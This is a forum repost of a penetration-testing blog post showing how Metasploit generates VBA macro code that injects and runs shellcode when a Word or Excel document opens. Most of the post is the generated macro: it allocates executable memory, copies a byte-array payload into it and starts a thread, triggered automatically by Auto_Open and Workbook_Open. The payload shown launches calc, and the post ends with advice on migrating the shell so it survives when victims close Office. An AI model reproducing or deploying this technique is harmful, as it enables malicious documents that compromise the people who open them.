Nytro Posted February 18, 2012 Report Posted February 18, 2012 [h=3]Direct Shellcode Execution via MS Office Macros with Metasploit[/h][h=2]Friday, February 3, 2012[/h]scriptjunkie recently had a post on Direct shellcode execution in MS Office macros I didnt see it go into the metasploit trunk, but its there. How to generate macro code is in the post but i'll repost it here so i dont have to go looking for it elsewhere later. He even has a sample to start with so you can see how it works. Just enable the Developer tab, then hit up the Visual Basic button to change code around.msf > use payload/windows/execmsf payload(exec) > set CMD calcCMD => calcmsf payload(exec) > set EXITFUNC threadEXITFUNC => threadmsf payload(exec) > generate -t vba#If Vba7 ThenPrivate Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As LongPtr, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As LongPtrPrivate Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As LongPtrPrivate Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As LongPtr, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As LongPtr#ElsePrivate Declare Function CreateThread Lib "kernel32" (ByVal Zopqv As Long, ByVal Xhxi As Long, ByVal Mqnynfb As Long, Tfe As Long, ByVal Zukax As Long, Rlere As Long) As LongPrivate Declare Function VirtualAlloc Lib "kernel32" (ByVal Xwl As Long, ByVal Sstjltuas As Long, ByVal Bnyltjw As Long, ByVal Rso As Long) As LongPrivate Declare Function RtlMoveMemory Lib "kernel32" (ByVal Dkhnszol As Long, ByRef Wwgtgy As Any, ByVal Hrkmuos As Long) As Long#EndIfSub Auto_Open() Dim Wyzayxya As Long, Hyeyhafxp As Variant, Lezhtplzi As Long, Zolde As Long#If Vba7 Then Dim Xlbufvetp As LongPtr#Else Dim Xlbufvetp As Long#EndIf Hyeyhafxp = Array(232,137,0,0,0,96,137,229,49,210,100,139,82,48,139,82,12,139,82,20, _139,114,40,15,183,74,38,49,255,49,192,172,60,97,124,2,44,32,193,207, _13,1,199,226,240,82,87,139,82,16,139,66,60,1,208,139,64,120,133,192, _116,74,1,208,80,139,72,24,139,88,32,1,211,227,60,73,139,52,139,1, _214,49,255,49,192,172,193,207,13,1,199,56,224,117,244,3,125,248,59,125, _36,117,226,88,139,88,36,1,211,102,139,12,75,139,88,28,1,211,139,4, _139,1,208,137,68,36,36,91,91,97,89,90,81,255,224,88,95,90,139,18, _235,134,93,106,1,141,133,185,0,0,0,80,104,49,139,111,135,255,213,187, _224,29,42,10,104,166,149,189,157,255,213,60,6,124,10,128,251,224,117,5, _187,71,19,114,111,106,0,83,255,213,99,97,108,99,0) Xlbufvetp = VirtualAlloc(0, UBound(Hyeyhafxp), &H1000, &H40) For Zolde = LBound(Hyeyhafxp) To UBound(Hyeyhafxp) Wyzayxya = Hyeyhafxp(Zolde) Lezhtplzi = RtlMoveMemory(Xlbufvetp + Zolde, Wyzayxya, 1) Next Zolde Lezhtplzi = CreateThread(0, 0, Xlbufvetp, 0, 0, 0)End SubSub AutoOpen() Auto_OpenEnd SubSub Workbook_Open() Auto_OpenEnd SubThe important thing to remember is that with this method you'll NOT be dropping a vbs or bin and you'll be running inside of excel/word/whatever so you need to make sure you set up an autorunscript or macro to migrate out of the process else you'll be losing the shell as soon as they exit the office application. Posted by CG at 5:21 PM Sursa: Carnal0wnage & Attack Research Blog: Direct Shellcode Execution via MS Office Macros with Metasploit Quote